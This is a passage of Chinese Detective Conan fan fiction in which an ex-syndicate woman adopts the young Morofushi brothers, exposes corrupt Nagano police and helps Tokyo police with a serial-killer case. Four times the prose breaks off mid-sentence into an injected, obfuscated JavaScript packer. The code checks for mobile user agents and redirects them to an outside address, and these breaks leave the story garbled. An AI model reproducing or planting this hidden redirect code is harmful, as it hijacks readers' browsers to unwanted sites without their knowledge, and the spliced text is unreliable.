她对这对夫妇事先有所了解。这对夫妇因自家还有孩子，经济不算宽裕，所以只收养了景光一个，心里也惭愧。 流川玄奈展现出的条件相当合适：海外归国背景、充足的资产证明、伪造的DNA亲缘报告，还有她找出外守一的事迹。 他们洽谈得异常顺利，顺利到流川玄奈自己都有点不相信。 流川玄奈一开始还算谨慎，很快发现这对夫妇与自己父母那类人截然不同，也松弛下来，没忍住问道：“您二位，一点也不怀疑我吗？” “怎么会？”周防女士温柔地笑着，“DNA报告不会出错，玄奈，你真的很像你父亲，也就是景光的那位叔祖父。” “诶？”流川玄奈猜想大概是客套话，按照人设剧本，也无奈地笑了笑，“您客气了，我和父亲从没有见过面。” 周防女士摇摇头，语气愈发恳切，“虽然玄奈从外表看起来不好接触，但其实，你和你父亲一样，内心非常善良。你对于景光的关心，希望他幸福的决心我们看在眼里。” 一旁的周防先生也接过话，感慨道：“是啊，刚刚看到你那张合照的时候，我还奇怪，珪郎（景光父亲）他居然还有这一面啊。作为小学老师的时候，他平常总是很温和。 那张照片里，珪郎给人的感觉，倒是和景光那孩子很像，难以化解的疏离感。我想……他一定是在玄奈你身上，感受到了同样的气质吧。” 一样的？流川玄奈垂下眼眸，心下无数思绪翻涌。 “那孩子明明总是做噩梦，却很懂事从来没抱怨，而我们工作太忙，又有了新的孩子，居然一直没有注意到。”周防女士轻声说道，目光诚挚地看向玄奈，“如果是待在玄奈你身边的话，一定会不一样吧。” —— 次日，流川玄奈先一步搬到在长野租下的一户建。 周防夫妇那边已经约定好，等她找到稳定的工作后，再确认诸伏高明也愿意由她收养，就可以走正规手续流程，移交景光的抚养权。 搬家也简单，流川玄奈忙完便在附近随便找点东西吃：长野县的信州荞麦面别有一番风味。 该怎么劝诸伏高明，高明——那家伙真的是高中生吗？总是一副老谋深算的样子，根本猜不到他在顾虑什么。 “诸伏高明，那家伙还真是没完没了。” 心中想的人名被隔壁桌吃饭的男高中生喊出，流川玄奈下意识停下动作，默默开始偷听。 “他和大和你根本就没得比！”说话的是一个普通中分黑发高中生，硬要说哪里特别，就是神情格外萎靡，大概是熬夜熬的。 相比之下，他对面的人要精神多了，流川玄奈用菜单挡着脸偷偷观察。那是一个说话很大声的黑皮男高，扎着短短的小辫子，如果是苏格兰扎肯定很有气质。 辫子男高开口接道：“是啊，那家伙这次又自顾自地解决了班里的案子，大出风头。” “算了，大和，下次运动会再赢回来。” “那当然，我怎么可能再输给他，”名叫大和敢助的男高中生爽朗地笑着，“不聊他了，牧野，趁上原那家伙今天去郊游，等会要不要一起骑摩托上山？” 两人接着兴致勃勃地聊了许久山路、机车之类的话题。 流川玄奈听的快要成长野探险地理大师了，时间有限，她径直走过去打听：“打扰一下，你们刚才说的，那个诸伏高明解决了什么案子？” “你是哪位啊？” “路过，只是有点好奇，高中生能遇到什么案子？” “没什么案子，就是丢了点东西而已，”大和敢助收敛了笑容，目光直直盯着她，“这位大姐，你从刚才我朋友提到高明开始，就在后面偷听了吧？我全都注意到了。” 这么敏锐，难道是高中生侦探？流川玄奈有些惊讶，她穿越前也见过中学生侦探，没想到十六年前也有啊，还这么常见，随便吃饭都能遇到。 流川玄奈没打算嘴硬，直接坦白：“我是他小姑——” 大和敢助两手一拍，打断道：“啊，你一定就是高明说的那个，被外守一抓到，侥幸逃生的亲戚吧？” 连这点都知道？这家伙，和诸伏高明比起劲敌，更像是关系不错的朋友吧？ 流川玄奈调整了姿态：“准确来说，是我为了调查，主动找上外守一的。” 大和敢助挑眉，打量着她的神色：“有意思。我们两个都是诸伏高明的同学。你来找我们搭话，是在调查诸伏高明那家伙？” “不，我现在在调查的，还是四年前的案件，”这个人很敏锐，流川玄奈想了想，开口问道，“当年的事情你有印象吗？诸伏高明的父亲负责带学生去郊游，班里的女同学意外因病过世。她的父亲不肯接受现实，认为是高明的父亲把女儿藏起来，便犯下凶杀案。 这件事，你知道吗？” 大和敢助点头：“这样的事情传得很快，我很有印象，那之后没几天，高明的父母就遇到凶杀案。” “外守一没有被警方怀疑？” “是啊，现在知道凶手是他，回想起来，我也觉得奇怪，”大和敢助回忆着，“我记得当时有人上门去问了那个外守老头，貌似负责审问的就是我认识的竹田警——” “大和，别说了！” 问话被一旁的男高中生，名叫牧野健太郎的少年突然厉声打断，流川玄奈皱着眉瞪了回去。 牧野健太郎无措地低头，像是瞄到了什么，再次抬头时面色很是为难：“大和，时间不早了。” “是啊，都这个时间了，那就赶紧出发——” “算了，”牧野健太郎摇头，“天快黑了，改天吧。” “也是，再不回去你家老太婆会说你的。” 看着牧野健太郎离开的背影，流川玄奈意识到不能犹豫，迅速问完警察的名字，就去牧野走过的路跟踪。 …… 直觉和推理都没有出错。这个牧野健太郎有问题。他在和大和敢助分开没多久便开始折返，谨慎地绕路、专挑小巷走，还不时做些警惕的小动作，像是手频频摸向皮包那样。 那皮包拉链敞开，再加上她观察的仔细，虽然只有一瞬间，但如果她没看错的话 ……这个人身上有枪。 这个时代，枪支管理应该远远比她那时要严格，普通高中生无论如何都不会有才对。 又是侦探又是犯人预备役，诸伏高明的同学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199228|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是些什么人啊…… 流川玄奈没有停下，跟踪依旧进行着。 好在牧野健太郎除了那把枪以外没什么特别的本事，甚至因为那副萎靡的精神状态，体能，反应力还不如上班族。 大概跟了十分钟，牧野健太郎停下，随即一个高瘦的人影出现了。 流川玄奈运气很好，这个人她在外守一的车祸现场见过，是和诸伏高明一起到达，姓氏为鹿野的警官。 这位警察，明明是工作日却穿着便衣，恐怕，他现在的行动不能暴露警察的身份。 流川玄奈隔得远，听不清他们说什么，只看到牧野接过一把钥匙和一个轻巧的纸袋，应该是钱款，随即又再次离开。 她跟着他到了另一处无人的住宅，准确来说，是多年没人居住的老房子。 对付持枪者必须万分小心。流川玄奈没有打草惊蛇，在确认这栋楼没有其他人，在牧野健太郎掏出枪前摸着黑击晕了对方。 眼下，她终于可以静下心，仔细调查这间房子。 借用牧野健太郎的手电筒，流川玄奈注意到，客厅除了餐桌还有张小桌子，桌子的高度、椅子的大小，明显是为小学生准备的。 桌上摆着的作业本已经落灰，她隔着帕子随手翻开，名字果然是外守有里。 显然，牧野健太郎收到警察鹿野的通知，来到外守一曾居住的房子，处理掉某些东西。 或许因为他也认识外守，出现在这里才不显突兀。再加上，牧野健太郎和那些警察中的败类有交易，利用起来不需要费什么力气。 没错，这样想，一切都串联起来了。 牧野的枪是从警察那里交易到的。外守一也一定从那些警察那里得到了什么——比如，逃脱杀人罪责。 流川玄奈在柜子中埋头翻找。风吹着老旧的窗户，发出的声音十分吵闹，盖过了街边稀疏的人声，纸张翻动的声音，椅子被人小心移动的声音—— 是从门外传来的！ 这个时候，这个地点居然还有人？！是那些败类警察不放心牧野一个高中生做事？！还是说—— 意识到情况不妙的下一瞬间，身着墨绿色西装，身材高大的男子径直闯入。流川玄奈不敢犹豫，伸手向来人砍去。 对方明显一怔，却没有还击的动作，但还是快速地左撤了半步。 反应力，体型，力量上，恐怕她都不占优。流川玄奈在被躲过后迅速作出决策，压低重心，从那人身后直攻他下盘。 ！又被躲开了。 不，不止是躲开，流川玄奈心头一紧，堪堪避开对方的回击。 远超组织大部分人的格斗水准—— 但如果只是防守，她还可以勉强做到。 流川玄奈再次避开，体力在流逝，她必须立刻脱身离开，但对方一直向着门边偏移，只能从……等等， 她躲开那人动作明显的一拳，后知后觉地反应过来他出手的真正目标： 电灯开关。 “啪。” 灯光骤亮，流川玄奈半眯着眼，为什么这种没人住的宅子还通电啊。眼前的男子比电费更值得关注： 超过一米九的身高，三十岁上下，浓眉，一双沉稳的眼，鼻翼两侧有极细的纹路，并不显老，反而中和了不少锐利。相貌算得上那种端正的英俊，感觉是在相亲市场上热门的存在。 不过，她不认识他。 但对方显然认识她。 嘶。 “长野县警和外守一的事情，交给公安处理就可以了。” 不同于流川玄奈此刻的紧绷，这位公安警察向前略进一步，自信地表明身份，这番举动本就带着天然的、值得人信赖的魔力。 他看着她，目光复杂，语气却缓和下来：“现在可以好好谈谈吗？作为外守一遇害时的目击证人—— 流川玄奈，你为什么会出现在这里？” 9. 啄木鸟会 好问题，她为什么会在这里。 对方既然是公安，如果她坦白的话，会不会被怀疑成杀害外守一的凶手？流川玄奈心念转动，面上维持着镇定。 “你不用担心，”那位公安似乎看出了她的戒备，主动亮出证件，“公安警察，黑田兵卫。” 还是个警部啊。流川玄奈多看了两眼，估摸着黑田兵卫的态度——似乎还算得上平和。也是，这个年代的海归日本人会点防身术怎么了。 流川玄奈斟酌着措辞：“外守一死得太蹊跷，所以我来看看。” 她暂且想不出更好的答案。 黑田兵卫点头，说话直切要点：“你也认为，外守一遇到的那场车祸，其实是长野县警中有人想灭口？” 流川玄奈闻言一愣——顺着这个思路，把自己（划掉）把A药的杀人行径嫁祸给黑/警，确实很合理！她当即接道：“对，外守一同长野县警中的啄木鸟会有交易。” 随即，二人回到先前的位置，流川玄奈将抽屉里有关啄木鸟会、枪支交易的资料递给黑田兵卫，又从地上，那名叫牧野的学生身上搜出枪支，一并递交。 黑田兵卫身上本就配枪，多一把来说对她一样有威胁，她现在只盼着这位公安赶紧离开。 她压下心头不耐，老实交代了自己和诸伏一家的关系，梳理来龙去脉。 “原来如此，”黑田兵卫看起来比外表还好说话，“我暂时相信你的说辞。那么，你的传呼机号码是？” “……？” 传呼机？公安警察和普通警察不一样，公安警察需要线人配合时，通常会有更严密的单线联系方式…… 黑田兵卫倒是很坦然：“不行吗？” “没、没问题。” 交换完号码，那位公安就因为有事，带着资料离开，流川玄奈善心大发，把牧野健太郎拖到门外后，也不再多管。 之后的几天，流川玄奈把长野当地在招人、看起来还算合适的工作都试了个遍，经历过组织里的生活，这些寻常工作对她而言，都显得格外平淡。 不如直接把这栋一户建的一楼改成店面吧！流川玄奈盘算着，她一直很好奇住在这种房子会是什么体验，光是看着就很踏实。如果景光喜欢看店，还可以锻炼锻炼，苏格兰那家伙在花钱上总是随着她，她说什么就是什么，报销的时候总会被组织里其他人为难……从前讨厌的日常，竟也有些令人怀念了。 再说“啄木鸟会”的事，倒是比流川玄奈想的要简单，不过是几次私下的枪支交易，几个警察擅自为嫌犯开罪。涉案的警察按法规惩处，具体情况也将会在未来几个月内被进行一定程度的公开。 流川玄奈之所以提前知道，并非是从那位古怪的公安，而是因为收养诸伏高明的月见一家。 他们一家曾因为盗窃损失了大笔积蓄，犯人被黑/警包庇，如今案件重启，相信那笔钱不久后就会被追回，流川玄奈也会出力的。 至于，“啄木鸟会”盘踞多年，它背后还有没有其他势力在这次调查中脱身，就不得而知了。流川玄奈既无暇也无力深究。那个叫做黑田的公安她打不过，她自己的身份更是经不起查验。对她来说，能让外守一逍遥法外的原因水落石出，已经足够。 说回月见一家，等这笔钱款正式到位，他们就要启程移居大阪。听说那边有许多亲戚，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199229|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们向往已久，也不知道诸伏高明是否愿意一同前往。 得知消息后，流川玄奈第一时间登门道贺。 月见家的晚饭十分周到，煎鲑鱼、烧肉配上炖汤相当美味。 上次见到的，诸伏一家的亲戚，月见环子女士笑着和流川玄奈分享自己的喜悦：“能够有讨回这笔钱的机会，真是太幸运了。” 流川玄奈点头，对她而言也一样，幸运。月见家因为飞来横财要移居，她多了收养诸伏兄弟的理由。以往，在组织的时候，她想达到什么目的，少不了要动些手脚，比如伪造线索，主动搅入月见家的事，设法让他们获得更多补偿。 但这次不同。她什么都没做，一切却向她期待的方向发展。 想到这，流川玄奈不由得也笑了：“请放心，我对这方面的法律还算了解，既然窃贼已经落网，相信不久就能拿回钱款。我也会帮忙的。” “那真是太谢谢你了，流川小姐。说起来……” 月见环子的丈夫清了清嗓子，终于切入正题：“关于那笔钱，我们和亲戚商量后，决定接受，然后举家迁往大阪。” 他顿了顿，看向高明，语气充满歉疚：“高明，你愿意的话，大阪的学校我们已经看好，但，如果你实在不想离开长野……” “我明白。”诸伏高明放下筷子，蓝紫色的眼眸平静地看向长者，“小姨，姨夫，承蒙二位四年来的照顾，不必为我担心，请安心前往大阪与亲人团聚，开启新的生活。” “高明，你的意思是？” 诸伏高明点头，目光平稳地转向流川玄奈。 “在那之前，请允许我和流川小姐单独谈谈。” 10. 相似的眼眸 十六年后的两年前， 朗姆介绍的，名为“光”的新人让流川玄奈大吃一惊，她索性带上对方进行下一步任务，偷窃目标阿德勒家族珍藏的，一颗真正的蓝宝石。 这就有了他们的第二次见面。 穿着黑色兜帽卫衣的男子如约出现在杯户大酒店外。 “光”的话比她预想的要多：“这样的计划——我们是小偷吗？按你平常的风格，应该是更喜欢摆在明面上吧？” 流川玄奈正举着望远镜仔细观察酒店楼层，语气没什么波澜：“不满意的话可以去找朗姆反应，我也不喜欢扮演怪盗，只是这次出了点岔子而已。” “什么岔子？” “阿德勒家前几天死了个还算重要的人物。” “不愧是精通情报的干部，消息灵通。” “毕竟是我杀的，”见对方一时没有回答，流川玄奈偏过头，本能地想从他的眼中寻找答案，却只对上一副墨镜：“光，你不会没杀过人吧？” 话一出口，她便有些后悔。这位组织新人估计是对她感到无语。想想也是，实力强硬，一个能成功偷袭她的人，手上怎么可能干净。 “你这身伪装……还不赖。”她干巴巴地补了一句缓解尴尬，随即移开视线。 名为光的男子不止有初见时干脆利落的身手。 阿德勒一家下榻的顶级酒店套房外走廊上，她这位助手只是端着杯香槟，就能装得像个微醺醉酒的宾客。他自然地晃到目标套房门前。 “老兄，这层楼的露台酒吧怎么走？我好像彻底迷路了。” 他游刃有余地与门口的守卫周旋起来。流川玄奈的本意是让他快速出手制伏对方，现在反而——她倒要看看这家伙打算怎么做。 流川玄奈在转角处停下，前面的保安数量太多，她需要时机。 耳机里清晰收录着男人那边的对话与背景音。 “其实……我上来前，楼下前台有位先生……” 他一本正经地开始编造故事，试图牵制多个守卫。朗姆给的资料里，这家伙貌似是擅长狙击才对……只做狙击手也太可惜了。 流川玄奈没有浪费他创造的机会。根据被引开保安的位置和动向，布置了一些小安排。 …… 几个小时后，密闭的车厢内， “你怎么了？” 没什么感情的男声让流川玄奈回过神，她反应过来，自己似乎在对方的侧脸上盯了太久。 她想了想，索性直接问出自己的疑问：“光，第一次见到你，觉得你会是下一个琴酒，现在想想，你的表现又更像贝尔摩德，” 流川玄奈的语速平缓，字字清晰，透露着真实的疑惑：“他们也有共同点，杀伐果断，不会留下多余的麻烦。 所以我想不通，刚刚，你为什么没有杀那个追出来的保安？” 察觉到气氛有些尴尬，再想到第一次见面差点被当成任务目标的种种，流川玄奈忙补充道：“我并不是怀疑你是卧底，组织里又没有杀人指标，个人风格如何并不重要。我只是很好奇而已。你和我预想的不一样。” “那看来你对我判断错了，”苏格兰说着，目光依旧专注盯着方向盘前的道路，“我只是认为，那种情况下杀人风险反而更高。况且，对我来说，杀人需要理由。” “……明白了。” 不喜欢杀戮，行事古怪的成员在组织里也不是没有。而那份远胜于她的应变能力，在组织里也算不上罕见。 但是， 流川玄奈对自己的观察力向来引以为傲，也因此更能辨别，眼前这个人，或许就是她在组织中所遇见的，最特别的存在。 毕竟他此刻的专注、平静与周遭的黑暗格格不入。毕竟，那是双一尘不染的澄澈眼眸。 …… 诸伏高明静静注视着流川玄奈，似乎还在分析这个人的眼底到底有几分可信。 “我之前提过的事，你考虑得怎么样了？” 流川玄奈迎上他的视线：“这是第三次拜访了，三顾茅庐，今天也该得到一个答复了。” 她极力维持镇定，心跳却不受控地加快。看着眼前心思深沉的男高中生，那种她经历过的恐慌，那种又百尺竿头，功亏一篑带来的恐慌又一次浮现。 诸伏高明终于开口：“流川小姐，起先，在外守一的案件上，你的出现难免让人多心，” “但是，”他话锋一转，上挑的丹凤眼再次直视着她，带着能洞悉一切的睿智，以及些许……温和。 “你对待景光的态度是认真的。他也因此信任你……而目前看来，你承诺的生活，对我们来说是最优解。” “所以……”流川玄奈屏住了呼吸。 诸伏高明点头：“我愿意和你一起陪伴景光生活。今后，请多指教，也请多担待。” 是她等待已久的答案。 —— 确认被收养人的意愿后，流川玄奈要忙的事情还有很多。 收养的法律程序不算简单，她肯定不能像先前伪造身份证件一样。联络区役所，提交相关资料：她自己的身份公证、景光父母的死亡证明，家庭法院的许可、另外两户人家的同意书等等。此外，还有学籍问题，她需要尽快找好长野县适合景光就读的学校，完成转学手续。 除了这些程序，养两个未成年人并不像小猫小狗一样，除了提供基础的物质，其他方面也必须仔细考虑。流川玄奈计划留出几天，陪诸伏景光去和东京新结识的朋友，那个幼年波本好好道别，也许带他们去新开的科学馆逛逛，或者让孩子们到家里来，做一顿不算太糟糕的料理。她希望能做些什么，减少搬迁对于诸伏景光的影响。 再回到基础的物质上，琴酒‘给’的钱到底是有限的，她也不想过游手好闲的生活。但是清闲又富贵，便于她陪伴苏格兰的工作哪里好找？流川玄奈这几天在东京游荡，当咖啡馆主理人？做奶茶店加盟商？即使是穿越者，也很难一眼辨清哪些是真实的商机，哪些又是精心包装的陷阱。这个时代发财的人很多，破产的人更多。 思绪纷杂间，流川玄奈走到诸伏景光目前就读的小学校门口。这几天都是由她接送这孩子去周防家。 现在离放学还有一刻钟，她观察了好几天，果不其然，不远处的银杏树下，今天也有几位家长正熟稔地交谈。 流川玄奈确认自己的装束，体面、洁净的亮色。她带着面对组织棘手的任务时都没有的激动，迈步朝那棵银杏树走去。 她现在也是家长了！ 流川玄奈一番准备，深吸了口气才走过去。然而，她的靠近还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199230|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让交谈声略微停顿。几位家长的目光带着点儿探究，落在这位显得孤僻的陌生女性身上。 这是——教育部门的人来调查？ 流川玄奈无奈地率先开口，语气尽量显得自然：“下午好，各位，我的侄子，诸伏景光，他也在这所学校就读。” “啊，是景光君的姐姐呀！”一位烫着时髦短发的母亲松了口气，随即立刻笑了起来，气氛随之缓和，“那孩子和我家小川是一个班的，他总是很有礼貌呢。你是刚搬来附近吗？” 流川玄奈点了点头，顺势加入了谈话——既然成了家长，总得试着融入这个群体。 她听着关于学校、老师和孩子们的闲聊。很快，略显悠长的放学铃响了，流川玄奈立刻停下来寒暄。每个孩子头上都戴着一顶亮黄色的通学帽，她还算熟练地，艰难地在固定的位置找到了诸伏景光。相比起别人聊天的样子，他正发着呆，安静地走着。 “玄奈姐。” 她刚想要不要出声，诸伏景光已经在她面前一步的地方站定，帽子下那双猫眼清澈见底，带着笑意。 “嗯。”流川玄奈应了一声，嘴角也不自觉地弯了起来，“今天怎么样？” “手工课做了粘土模型，”诸伏景光贴心地问道，“玄奈姐等很久了吗？” “没有，刚到。”她说完，准备像之前一样拉着诸伏景光离开，却感觉到身后仍有视线。 流川玄奈回头，是刚才那几位家长。对，她刚刚还在和他们一起讨论某个老师来着。 她立刻补上道歉：“抱歉，看到我家孩子太激动了，下次再聊吧——你们怎么了？” “没、没什么……”几位家长笑着摇头，彼此交换了一个眼神，心里都在吐槽，这个女人原来会笑啊？！ 流川玄奈没去深究她们略显奇妙的表情，她的注意力回到了景光身上，诸伏景光时不时就将书包肩带提起，一定是太重了。流川玄奈想着，便自作主张接过诸伏景光的书包，就像寻常家长那样。 “谢谢玄奈姐。” “没什么。大人的力气本来就该用在需要的地方。”她看着他，完全停不住笑意，“走吧。” 回去的路不算远，流川玄奈走在外侧，诸伏景光则是靠近店面的那一侧，可以闻到各种食物温暖的香味。 “想吃吗？”她停下脚步。 景光立刻摇头：“不用了。” 他总是不喜欢麻烦别人。 “你刚才看了它好几眼哦。”流川玄奈直接点破，眼里带着了然的笑意，“而且，不瞒你说，我也很喜欢那家的草莓蛋糕。一起进去吧，就当是庆祝要和哥哥一起生活了。” 诸伏景光惊讶地眨了眨眼，脸上泛起一点不好意思的红晕。正要点头，一阵“哔哔”声却从流川玄奈的挎包里传了出来。 知道她传呼机号码的人不多。 流川玄奈掏出那个黑色的小方块，小小的屏幕能显示的字符有限。 “景光，抱歉，我们得先去打个电话。”她收起传呼机，传呼机的信息让人有些担心，“是目暮警官。” 她没敢耽搁，带着诸伏景光在附近很快找到了一个电话亭。投入硬币，拨通号码，听筒里很快传来了目暮十三格外激动的声音。 “流川小姐！你还活着，真是太好了！” 11. 放学途中 “流川小姐！你还活着，真是太好了！” ？！谁能伤到她，她好歹也做过组织干部——流川玄奈立刻反应过来，神色一凛：“是那个袭击外国人的犯人吗？” “对，你现在方便吗？请立刻来一趟警视厅——啊，不对，你现在在哪里，我们直接让附近的警官去接你。” 听这副架势，她恐怕已经被列为下一个受害人候选。 她又不是死神附身，怎么最近老是遇到案件。流川玄奈也很无奈，她老实交代了自己的位置挂断电话，再蹲下同诸伏景光交谈：“景光，我可能被那个仇视外国人的犯人盯上了。等会儿会有警察负责送你回家，或者我叫周防太太过来接你，好吗？ 诸伏景光安静地点头：“玄奈姐要注意安全。我的话……” 他的声音越来越小，明显还想说什么。 流川玄奈便蹲下身，视线与诸伏景光齐平：“怎么了吗？景光，有想法就要表达出来。至少在我面前，是什么都可以问的。” 她温柔地看着那双眼，耐心等待着答案。 “……这个杀人犯，是和外守一一样的家伙吗？” “嗯。外守已经得到报应，这个人还没有，区别仅此而已。” “我……”他张了张嘴又停住，过了会才小声道：“我是不是，会给玄奈姐添麻烦？” “怎么会，我很厉害的。”流川玄奈下意识笑着回答，话一出口，又看到诸伏景光的神情，她赶紧收住笑意，放轻了声音：“你心里很害怕吧？ 正是因为害怕这些事情，所以才试着去面对它、克服恐惧，对吧？” 诸伏景光抬起眼睛，里面是藏不住的惊讶，他微微点头：“我不知道……自己能不能做到，和玄奈姐一起面对……” 是啊，且不说按诸伏景光现在的情况，亲眼目睹案件造成的心理创伤。正常来讲，带小学生接触案件并不是家长应该做的。她应该安抚完就拒绝，但是—— 她认识二十六岁的诸伏景光。 她知道这孩子可以成为一个怎样的人。 “你需要克服这些，”流川玄奈开口，给予男孩肯定的建议，“好不容易有了面对这些的勇气，那就不要浪费。” —— 半个小时后，警视厅内， 目暮警官向本次案件的专案组成员介绍道：“这位就是名单上的流川小姐。她这段时间往返于长野和东京……犯人估计是因为这点，才没能掌握她的行踪。” 流川玄奈立刻追问：“请问，是什么名单？” “是在犯人遗落的包里找到的，”上次见过的佐藤正义警官解释道，“那里面列了一份相当详尽的杀人计划，目标条件繁多，像是近三个月内入境日本、职业与住所不固定、年龄25至30岁、身高在170至175厘米之间、长期独自居住等等……我们把系统里的名单按这些条件逐一排除后，符合条件的二十多人里，目前只剩下包括你在内的四个人还活着。” 流川玄奈皱眉：“条件详细到这种程度，未免太奇怪了。” “是啊——话说回来，刚刚就想问了，你为什么带了个孩子。” 众人的视线一时都落在流川玄奈身后，那个拉着她衣角的安静男孩身上。 流川玄奈神色舒展，语气明朗地向众人介绍：“这是我的养子，我是他小姑。不过他们一般都喊我姐姐。” “真看不出来啊，流川小姐是当家长的年龄啊，”佐藤正义和善地笑着，“我家女儿也是九岁大哦。” “咳，佐藤前辈，”目暮十三适时提醒，“其他几位受害人候选也带到了。其他部门派来支援的外语同事全派去那边了。” “没事，我们这不是还有流川小姐在吗？她之前说愿意帮忙的。” “佐藤，和案件有关的人，还是不要随便调用比较好。”说话的男子语气严肃，他看起来接近四十岁，左脸有道自眉骨下延的伤疤，短发贴着头皮，分叉的浓密胡须没过上唇，活像是刑侦剧里走出来的铁面警官。 目暮十三转向流川玄奈小声介绍道，“这位是我们搜查一课强行犯搜查三系的系长，松本清长警部，他最近刚出院，难免脾气冲些，你们别太紧张。” 两人点点头，都好奇地看过去。松本清长身侧，佐藤正义还在分析：“流川小姐没有杀人嫌疑，也没有作案动机。我认为她可以帮忙安抚受害人弟弟的情绪…… 案发地点附近的监控已经调取完毕，和以往针对外国人的案件不同，附近的路人都被一个隐蔽的摄像头拍到，我想，这次连环杀人案的凶手也在其中。” “一定要在这起案件里抓住他，”松本清长严肃道，“不能再让更多人因他丧命了。” “是，”佐藤正义点头，随即侧身看向流川玄奈，神情郑重：“流川小姐，这次的受害人的弟弟也在，他似乎知道些什么，但是只会说德语，我们这边完全无法沟通。” 流川玄奈神色了然：“请交给我吧。” —— 死者名为绵谷哈珀，和弟弟一起从德国来日本，计划作为厨师长期移居。 眼前这个十九岁的男青年，就是死者的弟弟，绵谷珀西。在外表上，他看起来似乎更像诸伏高明的同龄人，此刻正红着眼圈，十分空洞。 流川玄奈认真用德语开始对话：“绵谷先生，我也会德语。我叫流川玄奈……请放心，我和日本警察会尽全力查明你哥哥的案子。” 流川玄奈虽然当过情报干部，但她显然不擅长问话，更多是作为侦探，负责搜寻资料梳理线索……她决定先从简单的进入话题：“你为什么会姓绵谷？” “哥哥说入乡随俗，他是听会里的大师，给自己找的日本姓氏……” 提到死去的哥哥，青年的眼泪便再也止不住，话也说不清楚。 流川玄奈愣了愣，开始说各种安慰话。“别难过。”“你已经尽力了。”那些句子从她嘴里出来显得相当突兀——流川玄奈除了递纸巾外，一时竟不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199231|197161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知还能做什么。 这时，诸伏景光突然走了过来，他小声地建议道：“玄奈姐，你笑一个吧？妈妈说过，笑容是能感染人的。” 他听不懂德语，但他也有自己的想法，也想帮上忙。 他的建议确实有用。流川玄奈这才反应过来。她这张脸，在面对和苏格兰无关的人事上才懒得笑，不笑的时候确实没什么说服力。她向诸伏景光道谢，随后便照做——她的安慰终于起效，对话也终于进行下去。 “你刚刚提到的会，那是一个什么样的组织？” 绵谷珀西抽噎了几下，道：“是……近几年针对在日外国人的文化宣传活动，很普通的那种。我和我哥最近几次见面都会路过那种活动。” “你们见面很少？” “对，我在国际学校住宿，两周才能见到一次。结果哥哥就被凶手当成独居的人……杀掉了。要是我没有住宿就好了。” “这不是你的错，”流川玄奈放轻了声音，“请继续说说案件吧。你和你哥一大早一起去了活动，然后呢？” “人很多，因为一直被挤来挤去，我们就提前离开，打算去吃午饭。走到一半，哥哥说有点事要去杯户公园……” 流川玄奈眉头微蹙：“那里不是在维修吗？” 正是因为维修，他的尸体刚刚才被发现。死者居然是主动去的吗？ 绵谷珀西回答：“是啊，我也问了。他当时说，要去见一个很重要的人，可能会很晚才回来。没想到……再听到就是他的死讯。” “你们在日本还有其他重要的人吗？” “应该是我哥工作上认识的吧？我把我认识的人都问遍了，都不是他们约的他。” “好，那么，请再回忆一下你哥哥离开前发生的事情吧？” “他从包里发现多了张字条，就匆忙地说要离开。我当时居然没注意到？！这太奇怪了——”少年忽然抬起头，“对了，流川小姐，我哥的包丢了。案发现场没有他的包。 “原来如此，谢谢你。” 这些，大概是这位痛失兄长、身在异国的青年能提供的全部了。 她已经有了几种猜测，不过还要等去案发现场看一趟，再见见嫌疑人才能知道。 流川玄奈刚从房间退出来，便听见走廊那头传来一道男声，年轻，高昂。 “没想到这起连环杀人案这么简单就结束了！以后有什么案子都交给我就行。” 诶？案子已经破了？ 在没有绵谷珀西的证词下，怎么可能，流川玄奈不在意地笑了笑，就看到一个男大学生模样的年轻人，细眉毛小眼睛，额前垂着一小撮头发，正和目暮十三搭话，语气熟稔： “本来还想和您做同事当警察，现在看看，也许我毛利小五郎更适合当侦探也说不定。” 只一眼，流川玄奈便移开了视线。 她已经在心里下了定论，这种愣头青年所谓的判案，不是凭借气势，就是凭借想象力吧？ 12. 罪证重塑 “啊，流川小姐，”见到流川玄奈出来，目暮十三礼貌地介绍道，“这位是米花大学的学生，毛利小五郎。” 